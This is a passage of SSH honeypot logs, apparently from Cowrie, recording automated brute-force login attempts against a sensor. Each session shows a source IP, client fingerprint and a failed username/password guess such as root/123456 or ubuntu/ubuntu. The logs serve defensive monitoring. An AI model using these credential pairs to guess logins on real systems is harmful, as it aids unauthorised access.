com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:46.777437Z","src_ip":"5.196.136.131","session":"f017e9e37bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:47.077399Z","src_ip":"5.196.136.131","session":"f017e9e37bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:48.157166Z","src_ip":"5.196.136.131","session":"f017e9e37bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.100.212.141","src_port":56056,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a41b9313a9","protocol":"ssh","message":"New connection: 185.100.212.141:56056 (10.17.0.5:22) [session: 54a41b9313a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:49.360898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:49.364247Z","src_ip":"185.100.212.141","session":"54a41b9313a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:49.546224Z","src_ip":"185.100.212.141","session":"54a41b9313a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019@1","message":"login attempt [root/unitedstates2019@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:50.095470Z","src_ip":"185.100.212.141","session":"54a41b9313a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37273,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5fdfaab48f9","protocol":"ssh","message":"New connection: 5.196.136.131:37273 (10.17.0.5:22) [session: a5fdfaab48f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:51.150199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:51.153935Z","src_ip":"5.196.136.131","session":"a5fdfaab48f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:51.232854Z","src_ip":"5.196.136.131","session":"a5fdfaab48f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:51.280323Z","src_ip":"185.100.212.141","session":"54a41b9313a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:51.475084Z","src_ip":"5.196.136.131","session":"a5fdfaab48f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:52.556529Z","src_ip":"5.196.136.131","session":"a5fdfaab48f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10997,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec4d0c2d97b0","protocol":"ssh","message":"New connection: 5.196.136.131:10997 (10.17.0.5:22) [session: ec4d0c2d97b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:55.696018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:55.699937Z","src_ip":"5.196.136.131","session":"ec4d0c2d97b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:55.781205Z","src_ip":"5.196.136.131","session":"ec4d0c2d97b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:56.027705Z","src_ip":"5.196.136.131","session":"ec4d0c2d97b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:57.111240Z","src_ip":"5.196.136.131","session":"ec4d0c2d97b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":26332,"dst_ip":"10.17.0.5","dst_port":22,"session":"958347c4b3f4","protocol":"ssh","message":"New connection: 5.196.136.131:26332 (10.17.0.5:22) [session: 958347c4b3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:00.223796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:00.233450Z","src_ip":"5.196.136.131","session":"958347c4b3f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:00.319898Z","src_ip":"5.196.136.131","session":"958347c4b3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:00.569513Z","src_ip":"5.196.136.131","session":"958347c4b3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:01.656928Z","src_ip":"5.196.136.131","session":"958347c4b3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24431,"dst_ip":"10.17.0.5","dst_port":22,"session":"efed3b7800ad","protocol":"ssh","message":"New connection: 5.196.136.131:24431 (10.17.0.5:22) [session: efed3b7800ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:04.753681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:04.759939Z","src_ip":"5.196.136.131","session":"efed3b7800ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:04.838020Z","src_ip":"5.196.136.131","session":"efed3b7800ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:05.074327Z","src_ip":"5.196.136.131","session":"efed3b7800ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:06.155256Z","src_ip":"5.196.136.131","session":"efed3b7800ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"74196acf574e","protocol":"ssh","message":"New connection: 162.241.132.172:55146 (159.203.135.109:22) [session: 74196acf574e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:08.910169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:08.914926Z","src_ip":"162.241.132.172","session":"74196acf574e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:08.946143Z","src_ip":"162.241.132.172","session":"74196acf574e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth2024","message":"login attempt [eth/eth2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:09.027891Z","src_ip":"162.241.132.172","session":"74196acf574e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31048,"dst_ip":"10.17.0.5","dst_port":22,"session":"af802af65d7a","protocol":"ssh","message":"New connection: 5.196.136.131:31048 (10.17.0.5:22) [session: af802af65d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:09.127394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:09.131847Z","src_ip":"5.196.136.131","session":"af802af65d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:09.215383Z","src_ip":"5.196.136.131","session":"af802af65d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:09.486376Z","src_ip":"5.196.136.131","session":"af802af65d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:10.056983Z","src_ip":"162.241.132.172","session":"74196acf574e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:10.571126Z","src_ip":"5.196.136.131","session":"af802af65d7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":17043,"dst_ip":"10.17.0.5","dst_port":22,"session":"f18e942ebcd8","protocol":"ssh","message":"New connection: 5.196.136.131:17043 (10.17.0.5:22) [session: f18e942ebcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:13.623278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:13.717845Z","src_ip":"5.196.136.131","session":"f18e942ebcd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:13.794453Z","src_ip":"5.196.136.131","session":"f18e942ebcd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:14.025353Z","src_ip":"5.196.136.131","session":"f18e942ebcd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:50:15.104737Z","src_ip":"5.196.136.131","session":"f18e942ebcd8","protocol":"ssh"}
